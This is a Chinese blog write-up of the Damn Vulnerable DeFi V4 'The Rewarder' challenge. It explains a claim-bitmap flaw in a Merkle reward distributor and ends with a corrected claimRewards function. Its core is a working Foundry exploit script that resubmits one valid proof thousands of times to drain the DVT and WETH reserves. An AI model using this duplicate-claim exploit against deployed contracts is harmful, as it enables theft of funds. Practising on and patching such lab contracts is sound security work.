Damn-vulnerable-defi-V4-solution(The Rewarder)

jerichou
2025-09-01 / 0 评论 / 1 阅读 / 正在检测是否收录...

一、The Rewarder

mf10eeej.png

背景:奖励分配器将 DVT 和 WETH 奖励分配给 1,000 名接收者。接收者可以通过提交Merkle 树验证的来领取代币。当 Merkle 树确认叶节点证明与根节点对应时,奖励即被授予。分配器还具有_setClaimed跟踪申领是否已提交的功能。然而,分发器存在漏洞,我们的目标是将大部分剩余的代币挽救到recover账户。

问题发生在TheRewarderDistributor合约的claimRewards函数中

// Allow claiming rewards of multiple tokens in a single transaction
    function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) external {
        Claim memory inputClaim;
        IERC20 token;
        uint256 bitsSet; // accumulator
        uint256 amount;

        for (uint256 i = 0; i < inputClaims.length; i++) {
            inputClaim = inputClaims[i];

            uint256 wordPosition = inputClaim.batchNumber / 256;
            uint256 bitPosition = inputClaim.batchNumber % 256;

            if (token != inputTokens[inputClaim.tokenIndex]) {
                if (address(token) != address(0)) {
                    if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
                }

                token = inputTokens[inputClaim.tokenIndex];
                bitsSet = 1 << bitPosition; // set bit at given position
                amount = inputClaim.amount;
            } else {
                bitsSet = bitsSet | 1 << bitPosition;
                amount += inputClaim.amount;
            }

            // for the last claim
            if (i == inputClaims.length - 1) {
                if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
            }

            bytes32 leaf = keccak256(abi.encodePacked(msg.sender, inputClaim.amount));
            bytes32 root = distributions[token].roots[inputClaim.batchNumber];

            if (!MerkleProof.verify(inputClaim.proof, root, leaf)) revert InvalidProof();

            inputTokens[inputClaim.tokenIndex].transfer(msg.sender, inputClaim.amount);
        }
    }

_setClaimed函数应该在每次提交claim后调用,因为这可以防止重复提交相同的claim。然而,在函数ClaimRewards中,_setClaimed只有当 token与循环中的前一个 token不同或者我们处于循环的最后一次迭代时,才会调用。

漏洞的本质合约在对 claim 做 Merkle 验证之前就先修改链上状态(调用 _setClaimed),而后续的转账/验证又并没有依据 bitmap 再次检查,导致攻击者可以用特定排列的 inputClaims 把 remaining(剩余代币)一次性扣减很多次,然后再通过后续逐条的 MerkleProof.verify 与 transfer 实际领取这些金额

因此,只要RewardDistributor代币数量足够,我们就可以重复提交同一种代币的claim申请。DVT 和 WETH 的认领申请是分别进行的。

攻击步骤:
  1. 从两个分发文件读出 merkle leaves(dvtLeaves、wethLeaves)。
  2. 为固定的索引 188(也就是测试里的 player)生成两份 Claim(DVT/WETH),每份都有 batchNumber=0、amount、以及对应的 proof。
  3. 计算能重复提交多少次这种 Claim 才能耗尽整批分发(dvtClaimsNum / wethClaimsNum)。
  4. 构建一个很长的 Claim[](内容都是同一个 Claim 重复多次)和对应的 IERC20[](每项都指向对应 token)。
  5. 调用 distributor.claimRewards(dvtInputClaims, dvtInputTokens)(对 DVT)和同理对 WETH。
  6. 最后把玩家地址的 DVT/WETH 全部 transfer 到 recovery。

换句话说:测试用同一个有效 proof 多次批量提交去多次领取整批空投,从而把合约里的代币领空。

function test_theRewarder() public checkSolvedByPlayer {
        // player address
        // 0x44E97aF4418b7a17AABD8090bEA0A471a366305C
        // index 188
        uint256 dvtAmount = 11524763827831882;
        uint256 wethAmount = 1171088749244340;

        bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
        bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");
        
        // the claim we repeatedly file for each token
        Claim memory dvtClaim = Claim({batchNumber:0, amount:dvtAmount, tokenIndex:0, proof:merkle.getProof(dvtLeaves, 188)});
        Claim memory wethClaim = Claim({batchNumber:0, amount:wethAmount, tokenIndex:1, proof:merkle.getProof(wethLeaves, 188)});
        
        uint256 dvtClaimsNum = (TOTAL_DVT_DISTRIBUTION_AMOUNT - ALICE_DVT_CLAIM_AMOUNT) / dvtAmount;
        uint256 wethClaimsNum = (TOTAL_WETH_DISTRIBUTION_AMOUNT - ALICE_WETH_CLAIM_AMOUNT) / wethAmount;
        Claim[] memory dvtInputClaims = new Claim[](dvtClaimsNum);
        Claim[] memory wethInputClaims = new Claim[](wethClaimsNum);
        IERC20[] memory dvtInputTokens = new IERC20[](dvtClaimsNum);
        IERC20[] memory wethInputTokens = new IERC20[](wethClaimsNum);
        
        // file repeated claims for dvt
        for (uint256 i = 0; i < dvtClaimsNum; i++) {
            dvtInputClaims[i] = dvtClaim;
            dvtInputTokens[i] = IERC20(address(dvt));
        }

        // file repeated claims for weth
        for (uint256 i = 0; i < wethClaimsNum; i++) {
            wethInputClaims[i] = wethClaim;
            wethInputTokens[i] = IERC20(address(weth));
        }

        distributor.claimRewards(dvtInputClaims, dvtInputTokens);
        distributor.claimRewards(wethInputClaims, wethInputTokens);

        dvt.transfer(recovery, dvt.balanceOf(player));
        weth.transfer(recovery, weth.balanceOf(player));
    }   
给出一个安全的 claimRewards 伪实现
function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) external nonReentrant {
    for (uint i = 0; i < inputClaims.length; i++) {
        Claim memory c = inputClaims[i];
        IERC20 token = inputTokens[c.tokenIndex];

        // 验证 proof FIRST
        bytes32 leaf = keccak256(abi.encodePacked(msg.sender, c.amount));
        bytes32 root = distributions[token].roots[c.batchNumber];
        if (!MerkleProof.verify(c.proof, root, leaf)) revert InvalidProof();

        // 检查是否已领取
        uint256 wordPosition = c.batchNumber / 256;
        uint256 bitPosition  = c.batchNumber % 256;
        uint256 mask = (uint256(1) << bitPosition);
        uint256 current = distributions[token].claims[msg.sender][wordPosition];
        if ((current & mask) != 0) revert AlreadyClaimed();

        // 标记并扣减 remaining
        distributions[token].claims[msg.sender][wordPosition] = current | mask;
        if (distributions[token].remaining < c.amount) revert NotEnoughTokensToDistribute();
        distributions[token].remaining -= c.amount;

        // 转账
        token.transfer(msg.sender, c.amount);
    }
}

每个 claim 都是独立、原子的:先验证 → 再写状态 → 再转账

1

评论 (0)

取消